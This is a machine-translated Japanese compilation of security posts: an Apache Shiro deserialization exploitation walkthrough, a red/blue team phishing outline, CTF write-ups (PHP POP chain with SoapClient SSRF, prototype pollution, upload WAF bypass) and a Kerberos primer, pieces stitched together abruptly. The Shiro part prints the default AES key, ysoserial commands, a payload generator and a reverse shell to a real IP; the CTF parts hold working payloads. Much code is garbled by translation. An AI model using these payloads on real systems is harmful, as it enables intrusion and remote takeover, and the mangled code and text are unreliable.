AES暗号化の使用により、脆弱性を正常に活用するために、AESの暗号化キーを取得する必要がありますが、1.2.4以前のシロの前にハードコード化されたバージョンで使用されました。デフォルトキーのbase64エンコード値は、KPH+BIXK5D2DEZIIXCAAAA==です。ここでは、悪意のあるシリアル化オブジェクトを構築することにより、エンコード、暗号化、およびCookieとして送信できます。それらを受け取った後、サーバーは脱気脱必要性の脆弱性を復号化してトリガーします。

0x05脆弱性検索キーワード

FOFAのキーワードの検索:header='rememberme=deleteme'github検索キーワード:securitymanager.remembermemanager.cipherkey

Cookieremembermemanager.setcipherkey

setCipherkey(base64.Decode

0x06脆弱性機能

Shiro Deserialization機能:Rememberme=リターンパッケージのセットクッキーのDeletemeフィールド

0x07環境構築

1。 8080:8080 Medicean/vulapps:S_shiro_1 1049983-20201203093901541-140206952.png3:http://149.28.94.72:80/、環境が正常に構築されていることがわかります。 https://github.com/vulhub/vulhub/tree/master/shiro/cve-2016-4437 docker-compose up-dサービスが開始された後、http://your-IP3:8080にアクセスして、admin:vulhub :010101

0x08脆弱性の再発

10-10-vulhubを使用してログインしてログインします。 YSOSERIAL-0.0.6-SNAPSHOT-ALL.JARファイルダウンロード:Root@Shiro:〜/Shiro_exploit Burpを使用してパケットをキャプチャし、正しいユーザー名とパスワードを入力し、remember Meオプションを確認してください。 rememberme=deletemeフィールドが返品パッケージのセットクッキーに存在するかどうかを確認してください。1049983-20201203093906033-1597270640.png3。ログインページ1049983-20201203093907312-912301061.png4をキャッチします。パケットをキャッチして、リピーターに送信します。それを再生することができ、Cookieにrememberme=deletemeフィールド1049983-20201203093907746-1556444288.png5が含まれていることがわかります。次に、攻撃マシンで次のコマンドを実行します。

Java -cp ysoserial-0.0.6-snapshot-all.jar ysoserial.exploit.jrmplistener 1086 commonscollections4 "bashコマンド" note:ペイロード/jrmpclientは、Exploit/jrmplistenerと組み合わせて使用されます。

Jrmplistenerは、Ysoserialツールの利用モジュールの1つです。その機能は、脱力化を通じて現在のホストにJRMPサーバーを開くことです。特定の利用プロセスは、脱必要なデータをサーバーに送信し、サーバーで降下操作を実行し、指定されたポートを開き、JRMPClientを介して攻撃ペイロードを送信することです。

ペイロード/jrmpclientリビングペイロードがターゲットマシンに送信され、Exploit/Jrmplistenerが独自のサーバーで使用されます。次に、リバウンドシェルの操作を実行するためにペイロードを構築し、コマンドをリバウンドシェルに書き込みます。

bash -i /dev/tcp/149.28.94.72/2222 01

次に、暗号化された命令に変換します(このウェブサイトにアクセスしてくださいhttp://www.jackson-t.ca/runtime-exec-payloads.html)1049983-20201203093908901-2096603826.pngBash -C {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | {base64、-d} | {bash、-i}注:なぜリバウンドシェルをエンコードする必要があるのですか? exec()関数では、 ''パイプ文字には意味がなく、他の意味に解析され、リバウンドシェルコマンドで使用する必要があるため、エンコードする必要があります。さらに、StringTokenizerクラスは、スペースを含むスペースを含むパラメーターを破壊します。このLS「My Directory」のようなものは、LS '' My ''ディレクトリ'6と解釈されます。攻撃航空機で実行された最終コマンドは次のとおりです。Java-CP YSOSERIAL -MASTER -SNAPSHOT.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1086 COMMONSCOLLECTIONS4 "BASH -C -C {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | {base64、-d} | {bash、-i} "1049983-20201203093909244-1478964296.png7。 shiro.pyを使用してペイロードを生成し、python2環境が必要であり、シロの内蔵デフォルトキーを使用してペイロードを暗号化します。 shiro.py:importsimportuidimportbase64importsubprocessfromcrypto.cipherimportaesdefencode_remembe rme(command):popen=subprocess.popen(['java'、 ' - jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、コマンド]、stdout=subprocess.pipe)bs=aes.block_sizepad=lambdas: s+((bs-len(s)%bs)*chr(bs-len(s)%bs)) iv)file_body=pad(popen.stdout.read())base64_ciphertext=base64.b64encode(iv+encryptor.encrypt(file_body))returnbase64_cip hertextif__name __=='__ main __' :payload=encode_rememberme(sys.argv [1])print'rememberme={0} '。形式(payload.decode())8。ターゲットマシンルートでペイロード暗号化処理を実行する@shiro:〜/shiro_exploit#python shiro.py 149.28.94.72:1099 //攻撃マシンのIPアドレスとJavaリスニングポートは、ysoserial.jarと同じディレクトリに配置されます。

rememberme=js0jb6nwtg6o1zve0y6l2cxy9xbf/f6sgzhcol11yhyky3grxdggrms3xuucdq+mploc6wzlfpeqdpm+o1rs3fn8n2jwz di7xi4zzlci3v3svhasoqoyx6eb5s7aqlhepx6t7p8s5xta5/pdny+bhglofjncr8fa9p1vkcuadvnueefed4k+zyzsemvdmdvgclex4f Z4ZME52G+ZGAMFN+L3FCXIY397E+L8FFHOMIAYZXNL6D/17Z5HJDLX97XRQB31ZBDOIRYIP1VMZDOQGP6ZEFEWTH8K9BWYT5ZRSNWOE7F hcnxsrsctd+cbomqt5nuwnh9jz4pk4vehymuazaz3tvb9ebfbthynxvshtwsekltp8sgpscskbbmcfkl3q6qr+ri+15fozleasfvlia==1049983-20201203093909638-2063943902.png9。次に、攻撃マシンでポート2222を聴き、シェルが1049983-20201203093912336-1604929598.png10のリバウンドを待ちます。 CookieフィールドのJessionIDに生成されたレメバム値を追加し、セミコロンを使用して新しく生成されたペイロードを追加し、パケット1049983-20201203093912965-728885270.png11をリリースします。パケットが送信されたら、攻撃マシンのJava監視インターフェイスとNC監視ポートを確認します。結果は、次の図1049983-20201203093913446-351042190.png 1049983-20201203093913836-1186252345.jpg2。shiro_exploitスクリプト利用再現1。shiro_exploitのpocを使用して、ターゲットマシンキールート@shiro:〜/shiro_exploit#python3 shiro_exploit.pyploit http://149.28.94.72:8080 1049983-20201203093919203-263706918.png 1049983-20201203093920580-2085239307.png2。 shiro_exploitのPOCを使用して、リバウンドシェルルート@shiro:〜#git clone https://github.com/insightglacier/shiro_exploit.gitroot@shiro:~/shiro_exploit# pip3インストールPIP3 PIP3 PICRYPTODOMEPYTOMPYTOMEPYTHON3 SHIRO_EXPLOIT. http://149.28.94.72:8080 -p 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | 1049983-20201203093920980-799770678.pngNC -LVVP 2222 1049983-20201203093922798-661421567.png3。 shiro_exploit 'を使用して、ターゲットマシンでファイルを作成しますpython3 shiro_exploit.py -t 3 -u http://149.28.94.72:8080 -p' touch test.txt ''

1049983-20201203093924099-146015132.pngサーバーhfxbvjwiztu7605.png4にa.txtファイルが正常に作成されました。 shiro_exploitのPOC検出方法を使用して、Gadget Python3 shiro_exploit.py -u 3http://149.28.94.72:8080 -t 3 -p 'Ping -c 2 1m054t.dnslog.cn 1049983-20201203093924792-1415093614.pngdnslogは、dnslogに要求されたドメイン名が表示され、脆弱性が存在することを証明します1049983-20201203093926679-2047167987.png iii。 shiroexploitグラフィカルツールは、https://github.com/feihong-cs/shiroexploitshiro550を使用して再現されます。シェル)NC -LVVP 3333

0x00フィッシング攻撃の準備(公共リソースから)

1。一般的な赤チーム攻撃ベクトルとテクニック

h2lea31ymk47946.png

2。一般的なブルーチームの調査と予防制御

35prwbcr0el7947.png

0x02フィッシングメールを送信する(ターゲット組織に従業員のメールアドレスに)

1。一般的な赤チーム攻撃ベクトルとテクニック

gij130zjzvs7948.png2。一般的なブルーチームの偵察と予防制御

qnnc1pmncch7949.png

0x03ペイロードを送信します(ターゲット組織の従業員システムに)

1。一般的な赤チーム攻撃ベクトルとテクニック

3x023nff2rr7950.png2。一般的なブルーチームの調査と予防制御

tylwcr0iet17951.png

0x04ペイロードコマンドを実行する(ターゲット組織従業員システム)

1。一般的な赤チーム攻撃ベクトルとテクニック

vytob0w515l7952.png2。一般的なブルーチームの偵察と予防制御

vsg1b4bjict7953.png

0x05局所的な持続性を維持する(ターゲット組織従業員システム)

1。一般的な赤チーム攻撃ベクトルとテクニック

awlr50rnuga7954.png

2。一般的なブルーチームの調査と予防制御

i5wymconywg7955.png

0x06コマンド制御チャネル(従業員システムから)を取得

1。一般的な赤チーム攻撃ベクトルとテクニック

flrelld5boq7956.png2。一般的なブルーチームの偵察と予防制御

iihbh4srmv17957.png

0x07ローカル許可(従業員システム上)をアップグレード

1。一般的な赤チーム攻撃ベクトルとテクニック

a0qug0vjxco7958.png2。一般的なブルーチームの偵察と予防制御

i0vpbhxb1bi7959.png

0x08ローカル偵察/発見(従業員システムで)

を実行します

1。一般的な赤チーム攻撃ベクトルとテクニック

blsxcodqvhl7960.png2、一般的なブルーチームの偵察と予防制御

l2bvpoiihlf7961.png

0x09ネットワーク偵察/発見を実行(ネットワーク上)

1。一般的な赤チーム攻撃ベクトルとテクニック

hdwck24ualj7962.png

2。一般的なブルーチームの調査と予防制御

zjakmc1jylu7963.png

0x10横方向の浸透(システムとネットワーク間)を実行する

1。一般的な赤チーム攻撃ベクトルとテクニック

di4ypbkczq47964.png

2。一般的なブルーチームの調査と予防制御

t0cifjn2kro7965.png

0x11アップグレードドメイン権限(一般的なキャリアを介して)

1。一般的な赤チーム攻撃ベクトルとテクニック

afg401j0qsu7966.png2。一般的なブルーチームの偵察と予防制御

3ijrbtal0en7967.png

0x12機密データの検索とアクセス(一般的なデータストレージ)

1。一般的な赤チーム攻撃ベクトルとテクニック

jq4tse04pdt7968.png2。一般的なブルーチームの偵察と予防制御

rihhbgxgwkb7969.png

0x13漏れた機密データ(パブリックチャネルを使用)

1。一般的な赤チーム攻撃ベクトルとテクニック

wfkur0ussu27970.png2。一般的なブルーチームの偵察と予防制御

owf3yz3ghjv7971.png Logging/Siem(セキュリティ情報とイベント管理)/アラーム

0x14 C2なしでリモートアクセスを維持する(共通インターフェイスを使用)

1。一般的な赤チーム攻撃ベクトルとテクニック

tu450rv3h2g7972.png2。一般的なブルーチームの偵察と予防制御

eojdfetsquz7973.png

from:https://mp.weixin.qq.com/s/-tpufjnxfy3wmzrzfdozq

1。ミス

1.Sudoku_easy

シンプルな数独身、注意を払うためのいくつかの小さなポイント、各レベルが送信されてから5秒後に睡眠をとって、質問が眠りに返されます

image-20230610185716309

形を次のようにします

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

800103720

023840650

410006008

300001062

0052407

072060090

160000375

205019846

000030000

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

2次元配列に変換して数独を解き、戻り結果をマルチライン文字列に再変換します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

最初は、5ポイントを獲得するたびに120ポイントを獲得する必要があり、24回の範囲を持っていると思いましたが、問題を抱えていました。その後、スコアが増加したことがわかりました。同時に、私はデバッグし、120ポイントを獲得した場合、ゲッシェルを返すため、範囲を7回変更したことがわかりました。

最終スクリプト:

def find_empty(board):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

Return Row、col

なしなし

def is_valid(board、num、pos):

行、col=pos

範囲のIの場合(9):

ボード[row] [i]==numおよびcol!=i:の場合

falseを返します

ボード[i] [col]==num and row!=i:の場合

falseを返します

box_row=row //3

box_col=col //3

範囲のi(box_row * 3、box_row * 3 + 3):

range(box_col * 3、box_col * 3 + 3):の場合

ボード[i] [j]==numおよび(i、j)!=pos:の場合

falseを返します

trueを返します

def solve(board):

find=find_empty(ボード)

find:がない場合

trueを返します

else:

行、col=find

範囲(1、10):のIの場合

is_valid(board、i、(row、col)):の場合

ボード[row] [col]=i

解決(ボード):の場合

trueを返します

ボード[row] [col]=0

falseを返します

def parse_input(input_list):

ボード=[]

input_list:の行

nums=list(map(int、row))

board.append(nums)

返品ボード

def format_output(board):

formatted=''

ボード:の行

formatted +='' .join(map(str、row)) + '\ n'

return formatted.strip()

#input_string='' '-------------------------

#800103720

#023840650

#410006008

#300001062

#000052407

#072060090

#160000375

#205019846

#000030000

#----------------------------

#今、私にあなたがsolve: '' 'を与えてください

#リスト=input_string.split( '\ n')[1:10]

#ボード=parse_input(lists)

#印刷(ボード)

#solve(ボード)

#印刷(ボード)

PWNインポートから *

#接続を作成します

conn=remote('47 .108.165.60 '、27539)

#ウェルカムメッセージを受け取ります

範囲のIの場合(7):

msg=conn.recvuntil( '入力:')。ストリップ()。デコード( 'utf-8')

印刷(msg)

#選択を送信します

conn.sendline( '1'.encode())

#次のプロンプトを受信します

msg=conn.recvuntil( 'level:'を選択してください)。ストリップ()。デコード( 'utf-8')

印刷(msg)

conn.sendline( '5'.encode())

msg=conn.recvuntil( 'clock start')。strip()。decode( 'utf-8')

印刷(msg)

time.sleep(5)

msg=conn.recvuntil( '今私にsolve:'を与えます)。sprip()。decode( 'utf-8')

印刷(msg)

lists=msg.split( '\ n')[1:10]

board=parse_input(lists)

SOLVE(ボード)

solved=format_output(board)

conn.sendline(solved.encode())

conn.Interactive()

または

PWNインポートから *

def is_valid(board、row、col、num):

#行が合法かどうかを確認してください

範囲のIの場合(9):

ボード[row] [i]==num:の場合

falseを返します

#列が合法かどうかを確認してください

範囲のIの場合(9):

ボード[i] [col]==num:の場合

falseを返します

#9番目の広場が合法かどうかを確認してください

start_row=(row //3) * 3

start_col=(col //3) * 3

範囲のIの場合(3):

範囲(3):のJの場合

ボード[start_row + i] [start_col + j]==num:の場合

falseを返します

trueを返します

def solve_sudoku(ボード):

範囲の行(9):の場合

範囲のcol(9):の場合

ボード[row] [col]==0:の場合

範囲のnum(1、10):の場合

is_valid(Board、row、col、num):の場合

ボード[row] [col]=num

solve_sudoku(ボード):の場合

trueを返します

ボード[row] [col]=0#バックトラッキング

falseを返す#すべての数字が試され、適切な数字が見つかりませんでした

trueを返します

def print_sudoku(board):

a=''

範囲の行(9):の場合

範囲のcol(9):の場合

a +=str(board [row] [col])

a+='\ n'

A.Strip()を返します

context.log_level='debug'

p=remote('47 .108.165.60 '、23479)

p.recv()

範囲のIの場合(7):

P.Sendline( '1')

P.Recvuntil( 'レベル:を選択してください')

P.Sendline( '5')

a='------------------- \ nnow shive you solve:'

content=p.recvuntil(a).decode()。分割(a)[0] [-130:]

sudoku=content.split( '-------------------')[1]

sudoku=sudoku.strip()

sudoku=sudoku.split( '\ n')

tmp=[]

sudoku:のsudoの場合

a=sudoのsの[int(s)]

TMP.Append(a)

solve_sudoku(tmp):の場合

result=print_sudoku(tmp)

log.info(結果)

result.split( '\ n'):のラインの場合

p.send(line)

#content=p.recv()。decode()

p.interactive()

独立した数独復号化スクリプト:

クラスsudoku():

def __init __(self、sudo_ku_data):

ISInstanceではない場合(sudo_ku_data、list):

Raise TypeError(f'sudo_ku_data paramsはリストでなければなりませんが、{sudo_ku_data}は{type(sudo_ku_data)} 'です。

Len(sudo_ku_data)!=9またはlen(sudo_ku_data [0])!=9:の場合

タイプエラーを上げる(

f'sudo_ku_data paramsは9*9のリストでなければなりませんが、{sudo_ku_data}は{len(sudo_ku_data)}*{len(sudo_ku_data [0])} list ')です。

self.sudo_ku=sudo_ku_data

#既存のデータを各行に保存します

self.envery_row_data={}

#各列の既存の数字

self.every_column_data={}

#3*3ごとに

self.envery_three_to_three_data={}

#空席の場所

self.vacant_position=[]

#各空席で試した数字

self.every_vacant_position_tried_values={}

#データを初期化します

self._init()

def _add_row_data(self、row、value):

'' '

初期化の場合

self.envery_row_dataにデータを追加します

:param row:

:Param Value:

:RETURN:

'' '

rowがself.envery_row_data:にない場合

self.every_row_data [row]=set()

self.envery_row_data [row] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_row_data [row] .add(value)

def _add_column_data(self、column、value):

'' '

初期化の場合

self.envery_column_dataにデータを追加します

:Param Column:

:Param Value:

:RETURN:

'' '

columnがself.envery_column_data:にない場合

self.every_column_data [column]=set()

self.envery_column_data [列] :の値の場合

Raise TypeRror(f'params {self.sudo_ku}は無効な数独')

self.every_column_data [column] .add(value)

def _get_three_to_three_key(self、row、column):

'' '

3*3キーごとに取得します

:param row:

:Param Column:

:RETURN:

'' '

[0、1、2] :の行の場合

[0、1、2] :の列の場合

key=1

[3、4、5] :の列列

key=2

else:

key=3

[3、4、5] :のElif Row

[0、1、2] :の列の場合

キー=4

[3、4、5] :の列列

key=5

else:

key=6

else:

[0、1、2] :の列の場合

key=7

[3、4、5] :の列列

key=8

else:

key=9

キーを返します

def _add_three_to_three_data(self、row、column、value):

'' '

初期化の場合

self.envery_three_to_three_dataにデータを追加します

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

key=self._get_three_to_three_key(列、列)

key.enty.envery_three_to_three_data:ではない場合

self.every_three_to_three_data [key]=set()

self.every_three_to_three_data [key] .add(value)

def _init(self):

'' '

入ってくる数独に基づいてデータを初期化します

:RETURN:

'' '

rowの場合、row_datas in enumerate(self.sudo_ku):

列の場合、値の値(row_datas):

value=='' :の場合

self.vacant_position.append((列、列))

else:

self._add_row_data(row、value)

self._add_column_data(列、値)

self._add_three_to_three_data(row、column、value)

def _judge_value_is_legal(self、row、column、value):

'' '

当事者によって配置されたデータが合法かどうかを判断する

:param row:

:Param Column:

:Param Value:

:RETURN:

'' '

#このデータの行に値は存在しますか

self.envery_row_data [row] :の値の場合

falseを返します

#このデータの列に値は存在しますか

self.envery_column_data [列] :の値の場合

falseを返します

#値この3*3の宮殿は存在しますか?

key=self._get_three_to_three_key(列、列)

self.envery_three_to_three_data [key] :の値の場合

falseを返します

trueを返します

def _calculate(self、vacant_position):

'' '

計算して、数独に値の配置を開始します

:PARAM VACANT_POSITION:

:RETURN:

'' '

#現在の場所を取得します

行、列=facant_position

値=set(範囲(1、10))

#現在の場所が現在の場所で試されたデータを保存するための一意のキーを作成します

key=str(row) + str(列)

#このキーが存在する場合は、値の差を取得します。両方ともセットであるため、直接使用するだけです -

self.envery_vacant_position_tried_values:のキーの場合

値=values-self.envery_vacant_position_tried_values [key]

#このキーが存在しない場合は、空のコレクションを作成します

else:

self.every_vacant_position_tried_values [key]=set()

値の値:

#現在のデータを現在の場所で試されたデータに追加します

self.every_vacant_position_tried_values [key] .add(value)

#現在の値が合法である場合、配置できます

self._judge_value_is_legal(row、column、value):の場合

#print(f'set {vacant_position}値は{値} ')

babyphp

index.php:

?php

//flag.phpの何か

クラスA

{

public $ a;

public $ b;

パブリック機能__wakeup()

{

$ this-a='babyhacker';

}

パブリック機能__invoke()

{

if(isset($ this-a)$ this-a==md5($ this-a)){

$ this-b-uwant();

}

}

}

クラスb

{

public $ a;

public $ b;

public $ k;

function __destruct()

{

$ this-b=$ this-k;

die($ this-a);

}

}

クラスc

{

public $ a;

public $ c;

パブリック機能__toString()

{

$ cc=$ this-c;

$ cc()を返します。

}

パブリック関数uwant()

{

if($ this-a=='phpinfo'){

phpinfo();

} それ以外{

call_user_func(array(reset($ _ session)、$ this-a));

}

}

}

if(isset($ _ get ['d0g3'])){

ini_set($ _ get ['baby']、$ _get ['d0g3']);

session_start();

$ _SESSION ['SESS']=$ _POST ['SESS'];

}

それ以外{

session_start();

if(isset($ _ post ['pop'])){

Unserialize($ _ post ['pop']);

}

}

var_dump($ _ session);

highlight_file(__ file__);

flag.php:

?php

session_start();

highlight_file(__ file__);

//ルートディレクトリのフラグ

if($ _ server ['remote_addr']==='127.0.0.1'){

$ f1ag=inprode(array(new $ _get ['a']($ _ get ['b'])));

$ _Session ['f1ag']=$ f1ag;

}それ以外{

echo 'only localhost !';

}

ポップチェーンを構築することで、SESSION.SERIALIZE_HANDLERがPHPであり、flag.phpのソースコードと組み合わされていることがわかります。SSRFを実行するためにセッションがSOAPCLIENTを希望すると推測されます。

アイデアは、最初にini_setのパラメーターを制御して、serialize_handlerをphp_serializeとして指定し、パラメーターsessをsoapclientの脱isizationのペイロードとして渡し、すべてのポストパラメーターを取得し、ページに1回アクセスして脱izerializationをトリガーすることです。最後に、既知のポップチェーンを使用して、soapclient __callメソッドを呼び出してssrfをトリガーします

SSRFはまず、PHPのネイティブクラスGlobiteratorを使用して、ルートディレクトリ内のFから始まるファイルを見つけ、次にSplFileObjectを使用してフラグを読み取ります。

ポップチェーンPayload:

?php

クラスA

{

public $ a;

public $ b;

}

クラスb

{

}

クラスc

{

public $ a;

public $ c;

}

$ cc=new C();

$ cc-a='xxxx';

$ a=new a();

$ a-a='0E215962017';

$ a-b=$ cc;

$ c=new C();

$ c-c=$ a;

$ b=new b();

$ b-a=$ c;

Echo Serialize($ b);

SSRF Payload:

?php

//$ a=new soapclient(null、array( 'location'='http://127.0.1/flag.php?a=globiteratorb=/f*'、 'user_agent'='='='=' 'テスト'));

$ a=new SoapClient(null、array( 'location'='http://127.0.1/flag.php?a=splfileobjectb=/f111111lllllllllaagg'、 'user_agent'='111 \ r \ ncookie: phpsessid=c9urdtg4k4kp5jl36mml4qfp5jl36M 'uri'='test'));

$ b=serialize($ a);

echo '|' .urlencode($ b);

最初にGlobiteratorを使用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

splfileobjectを再利用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

ez_js

ログインインターフェイスとアカウントのパスワードを自由に入力すると、 /cookieルートにジャンプし、右クリックしてjsfuck復号化プロンプトをコメントします。

ホームページを右クリックして、次のようにコメントします:

! - この秘密はセキュリティのために7文字の長いです!

Hash=Md5(Secret+'Flag'); //1946714CFA9DEB70CC40BAB32872F98A

管理者クッキーはですMD5(Secret+UrldeCode( 'フラグ%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%

-

1目のハッシュ長拡張攻撃

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

Cookie Hashを直接変更し、役に立たないことがわかりました。その後、ユーザーIDは空になり、エラーが発生しました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

以前のヒントと組み合わせて、JS :の上限と小文字の機能を使用します

'ı'.touppercase()==' i '//true

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

次に、 /infoflllllagにジャンプします(静的環境は30分ごとにリセットされるため、前の写真がキャプチャされます)

var Express=require( 'Express');

var router=express.router();

const isobject=obj=obj obj.constructor obj.constructor===object;

const merge=(a、b)={

for(b in bのvar attr){

if(isobject(a attr])isobject(b [attr])){

マージ([attr]、b [attr]);

} それ以外{

a [attr]=b [attr];

}

}

aを返します

}

const clone=(a)={

MERGE({}、a)を返します。

}

router.get( '/'、function(req、res、next){

if(req.flag=='flag'){

//出力フラグ;

res.send( 'flag ???');

}

Res.Render( 'Info');

});

router.post( '/'、express.json()、function(req、res){

var str=req.body.id;

var obj=json.parse(str);

req.cookies.id=clone(obj);

Res.Render( 'Info');

});

module.exports=router;

REQのフラグ属性をプロトタイプチェーンを介して汚染する必要があることは明らかです。ペイロードは次のとおりです

id={'__ proto __' :+{'flag':+' flag '}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

次に、旗にアクセスします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

静的ターゲットマシンのスクリーンショット

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload

最初にphpinfoをアップロードします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1、disable_functionsはバンチをフィルタリングしますが、file_get_contents()が利用可能であり、質問のソースコードはそれを読みます

HTML

form method='post' enctype='multipart/form-data'

このフロントエンドは美しくありません!

入力型='ファイル' name='upload_file' /

入力タイプ='送信' name='送信'値='送信' /

/形状

/体

/HTML

?php

function waf($ var): bool {

$ blacklist=['\ $ _'、 'eval'、 'copy'、 'assert'、 'usort'、 'include'、 'require'、 '$'、 '^'、 '〜'、 ' - '、 '%'、 '*'、 'file'、 'fopen'、 'fwriter'、 'fput'、 'copy'、 'curl'、fread '、' fget '、' function_exists '、' dl '、' putenv '、' system '、' exec '、' shell_exec '、' passthru '、' proc_open '、' proc_close '、' proc_close '、 'proc_get_status'、 'checkdnsrr'、 'getmxrr'、 'getservbyname'、 'getservbyport'、 'syslog'、 'popen'、 'show_source'、 'highlight_file'、 '``、' chmod '];

foreach($ blacklist as $ blackword){

if(strstr($ var、$ blackword))trueを返します。

}

falseを返します。

}

error_reporting(0);

//Directoryのアップロードを設定します

定義( 'upload_path'、 './uploads');

$ msg='アップロード成功!';

if(isset($ _ post ['submit'])){

$ temp_file=$ _files ['upload_file'] ['tmp_name'];

$ file_name=$ _files ['upload_file'] ['name'];

$ ext=pathinfo($ file_name、pathinfo_extension);

if(!preg_match( '/php/i'、strtolower($ ext))){

die( '私は写真が欲しくない、xiong da');

}

$ content=file_get_contents($ temp_file);

if(waf($ content)){

die( 'ああ、あなたは何をしているの、小さなheizi .');

}

$ new_file_name=md5($ file_name)。 '。'。$ ext;

$ img_path=upload_path。 '/'。 $ new_file_name;

if(move_uploaded_file($ temp_file、$ img_path)){

$ is_upload=true;

} それ以外{

$ msg='アップロード障害!';

die();

}

echo $ msg。 ' '。$ img_path;

ビット操作|フィルタリングされていません。ここで、|を取ります例として、Globiteratorを使用してフラグを見つけます

Reをインポートします

preg='\*'

def converttourl(s):

S 16:の場合

return '%0' + str(hex(s).replace( '0x'、 ''))

else:

return '%' + str(hex(s).r

0x00ドメイン侵入 - ケルベロス

1。 Kerberosの紹介

Kerberos認証では、主な問題は「あなたはあなた」を証明する方法です。たとえば、クライアントがサーバーサーバー上のサービスにアクセスすると、サーバーがホストのサービスにアクセスする許可があるかどうかをサーバーがどのように判断し、同時にこのプロセスの通信コンテンツが傍受または改ざんされていても通信のセキュリティに影響を与えないようにします。これは、Kerberosによって解決された問題です。 Kerberosプロトコルの攻撃と防御も、ドメイン浸潤プロセス中に非常に重要です。

2.KERBEROSプロトコルフレームワーク

Kerberosプロトコルには3つの主要な役割があります。

クライアントが提供するサービスを提供するServerKDC(Key Distribution Center)キーディストリビューセンター。 KDCサービスは、デフォルトでドメインにドメインコントロールにインストールされ、クライアントとサーバーはHTTPサービスやSQLサービスなどのドメイン内のユーザーまたはサービスです。クライアントがKerberosのサーバーサービスにアクセスする許可を持っているかどうかは、KDCが発行した領収書によって決定されます。

img

Kerberosのチケットが列車のチケットと比較される場合、クライアント側は乗客であり、サーバー側は列車、KDCはステーションの認定システムです。クライアント側のチケットが合法であり(自分のIDカードで購入してお客様が保有)、サーバー側のサービスにアクセスする権利がある場合(チケットは正しい列車番号に対応)、バスに乗ることができます。もちろん、列車のチケットとは違うのは、Kerberosに2つのチケットがあり、最初から最後まで列車のチケットが1つしかないことです。

上記の図から、KDCは2つの部分に分割されていることがわかります。

認証サーバー:ASの機能は、クライアントのIDを確認する機能(あなたがIDカードの人物であることは確かです)。確認に合格すると、クライアントにTGT(チケット付与チケット)チケットを渡します。

チケット付与サーバー:TGSの機能は、サーバー側(ボード上のチケットST)にアクセスするためにチケットを交換するために、クライアントに送信されるチケット(TGT)を交換することです。 ST(Serviceticket)はTGSチケットとも呼ばれます。 TGSと区別するために、ここではSTが説明するために使用されます。

img

KDCサービスフレームワークには、ドメインを作成するときにシステムによって自動的に作成されたアカウントであるKRBTGTアカウントが含まれています。ログインできないアカウントであることは一時的に理解できます。

1566292231162

3.Kerberos認定

プロセスクライアントがサーバー上のサービスにアクセスしたい場合、最初にASに対するIDを証明し、次にASが発行したTGTを介してサーバーに認証要求を開始する必要があります。このプロセスは3つの部分に分かれています。

認証サービス交換:クライアントとASの間の相互作用

チケット栽培サービス(TGS)交換:クライアントとTGSの相互作用

クライアント/サーバー認証交換:クライアントとサーバー間の相互作用

img

(1)TheAuthentication Service ExchangeKrb_as_req

クライアント-AS:authenticator1を送信(クライアントパスワード暗号化タイムスタンプ)

最初のステップは、クライアントがAuthenticator1をKDCのASに送信することです。これは、クライアントパスワードハッシュを介して暗号化されたタイムスタンプ、ClientID、ネットワークアドレス、暗号化タイプ、その他のコンテンツです。

25phnvm0q5f7314.png

krb_as_rep

AS-クライアント:SESSIONKEY-ASを送信し、クライアントパスワードTGT(krbtgt hash暗号化されたsessionkey-asとタイムスタンプ)によって暗号化されたチケットを送信します)

ドメイン内のすべてのユーザーのパスワードハッシュは、KDCに保存されます。 ASがクライアントの要求を受信すると、KDCに保存されているパスワードに基づいて復号化され、復号化が成功し、情報が検証されます。検証が成功した後、クライアントSessionKey-Asに戻り、クライアントパスワードHash(SessionKey-ASとKrbtgt Hashによって暗号化されたタイムスタンプ)によって暗号化されます。

(2)Theticket-Granting Service(TGS)ExchangeKrb_tgs_req

クライアント-tgsは、authenticator2(sessionkey-as as as as as as as as as as as amestamp)とチケットTgt(krbtgt hash sessionkey-asとタイムスタンプを送信します)

クライアントが暗号化されたSessionKey-ASとTGTを受信した後、独自のパスワードを使用してSessionKey-Asを復号化します。 TGTはKDCパスワードによって暗号化されており、クライアントはそれを解読できません。この時点で、クライアントはSessionKey-Asを使用してTimestampとTGTを暗号化して、サーバーにアクセスできるチケットのTGS(TicketGranting Server)チケット承認サーバーに送信します。

